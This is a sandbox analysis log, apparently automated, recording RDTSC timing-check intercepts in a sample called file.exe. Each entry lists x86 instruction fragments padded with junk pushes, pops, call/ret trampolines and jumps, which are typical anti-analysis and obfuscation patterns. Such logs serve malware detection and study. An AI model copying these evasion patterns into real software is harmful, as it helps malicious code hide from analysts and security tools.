Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54C9E second address: D54CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD288CC4A79h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54CC3 second address: D54CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54CC7 second address: D54CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop ecx 0x0000000e jmp 00007FD288CC4A6Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54CE6 second address: D54CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2884F85CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58AB0 second address: D58AC7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD288CC4A72h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58AC7 second address: D58AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58AD4 second address: D58AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58AD8 second address: D58B25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D1h 0x00000007 jnp 00007FD2884F85C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FD2884F85D6h 0x00000015 jmp 00007FD2884F85D0h 0x0000001a jmp 00007FD2884F85CAh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58B25 second address: D58B2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58B2D second address: D58B33 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59505 second address: D5950C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A09A second address: D5A0B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2884F85D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A1F7 second address: D5A202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD288CC4A66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A33E second address: D5A347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A347 second address: D5A34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A34B second address: D5A34F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AF59 second address: D5AF5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B90A second address: D5B90E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B90E second address: D5B917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D504 second address: D5D50A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DFF3 second address: D5DFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61168 second address: D611AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FD2884F85E5h 0x0000000e jmp 00007FD2884F85D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D50A second address: D5D510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D510 second address: D5D514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64273 second address: D64277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D652E6 second address: D652EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D644A0 second address: D644AA instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD288CC4A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D652EB second address: D65311 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD2884F85D1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD2884F85CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D654E1 second address: D654E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D654E7 second address: D654EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D654EC second address: D65508 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD288CC4A70h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D671EA second address: D6726D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FD2884F85C8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 js 00007FD2884F85CAh 0x00000029 mov bx, A3F0h 0x0000002d push 00000000h 0x0000002f jno 00007FD2884F85D3h 0x00000035 mov dword ptr [ebp+12459F28h], esi 0x0000003b push 00000000h 0x0000003d jns 00007FD2884F85CCh 0x00000043 mov bx, 1E5Eh 0x00000047 xchg eax, esi 0x00000048 jl 00007FD2884F85D7h 0x0000004e jbe 00007FD2884F85D1h 0x00000054 jmp 00007FD2884F85CBh 0x00000059 push eax 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D663D6 second address: D6643F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or edi, 7500FA63h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 or bx, CC53h 0x00000025 mov eax, dword ptr [ebp+122D0099h] 0x0000002b and edi, 6CFCA46Fh 0x00000031 mov edi, dword ptr [ebp+122D39D7h] 0x00000037 push FFFFFFFFh 0x00000039 sub dword ptr [ebp+122D2608h], ecx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 jmp 00007FD288CC4A76h 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65508 second address: D6550F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6726D second address: D67271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6643F second address: D66444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67271 second address: D67275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66444 second address: D66449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66449 second address: D6644F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68214 second address: D68218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68218 second address: D6821C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67489 second address: D674A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6821C second address: D68222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D674A6 second address: D674AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D674AA second address: D674B4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD288CC4A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A45C second address: D6A4C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FD2884F85C6h 0x00000009 jmp 00007FD2884F85D4h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 cmc 0x00000015 push 00000000h 0x00000017 jmp 00007FD2884F85CAh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007FD2884F85C8h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 jmp 00007FD2884F85D2h 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 jno 00007FD2884F85C6h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A4C8 second address: D6A4D1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A4D1 second address: D6A4D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A4D7 second address: D6A4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD288CC4A6Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D65F second address: D6D665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D665 second address: D6D669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D669 second address: D6D713 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD2884F85C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FD2884F85C8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push edx 0x00000028 jno 00007FD2884F85C9h 0x0000002e pop ebx 0x0000002f jmp 00007FD2884F85D3h 0x00000034 push 00000000h 0x00000036 call 00007FD2884F85D7h 0x0000003b pop edi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007FD2884F85C8h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 00000017h 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 xchg eax, esi 0x00000059 push edx 0x0000005a jmp 00007FD2884F85D8h 0x0000005f pop edx 0x00000060 push eax 0x00000061 pushad 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D713 second address: D6D719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C572 second address: D6C58C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD2884F85D0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C58C second address: D6C592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70773 second address: D70777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C592 second address: D6C598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C665 second address: D6C669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72906 second address: D7290A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7290A second address: D7290E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7290E second address: D7291A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7291A second address: D72929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FD2884F85C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D719E5 second address: D719EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D739C5 second address: D739C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D739C9 second address: D73A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FD288CC4A68h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push eax 0x00000023 cld 0x00000024 pop edi 0x00000025 push 00000000h 0x00000027 mov ebx, ecx 0x00000029 push 00000000h 0x0000002b pushad 0x0000002c xor ecx, dword ptr [ebp+122D1BF1h] 0x00000032 and ax, 4915h 0x00000037 popad 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jp 00007FD288CC4A66h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72ABF second address: D72AC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73A14 second address: D73A28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD288CC4A6Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72AC6 second address: D72AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FD2884F85D3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72AE3 second address: D72AE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72AE9 second address: D72AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73B67 second address: D73B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73B6B second address: D73B75 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD2884F85C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73C51 second address: D73C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73C55 second address: D73C69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7768A second address: D776C9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD288CC4A71h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD288CC4A73h 0x00000011 push esi 0x00000012 jc 00007FD288CC4A66h 0x00000018 jmp 00007FD288CC4A6Dh 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D776C9 second address: D776D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FD2884F85C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16A6E second address: D16A81 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007FD288CC4A66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16A81 second address: D16A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16A85 second address: D16A92 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD288CC4A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E60C second address: D7E610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E610 second address: D7E625 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a jns 00007FD288CC4A68h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFB8 second address: D7DFD1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD2884F85D3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFD1 second address: D7DFD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFD7 second address: D7DFDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFDB second address: D7DFE5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD288CC4A66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E197 second address: D0E1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD2884F85D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E1BD second address: D0E1C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E1C1 second address: D0E1DD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007FD2884F85D0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E1DD second address: D0E1F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A70h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85D3E second address: D85D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85D42 second address: D85D76 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007FD288CC4A74h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push edx 0x00000013 jg 00007FD288CC4A68h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85D76 second address: D85D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18598 second address: D185B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD288CC4A77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89B1C second address: D89B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
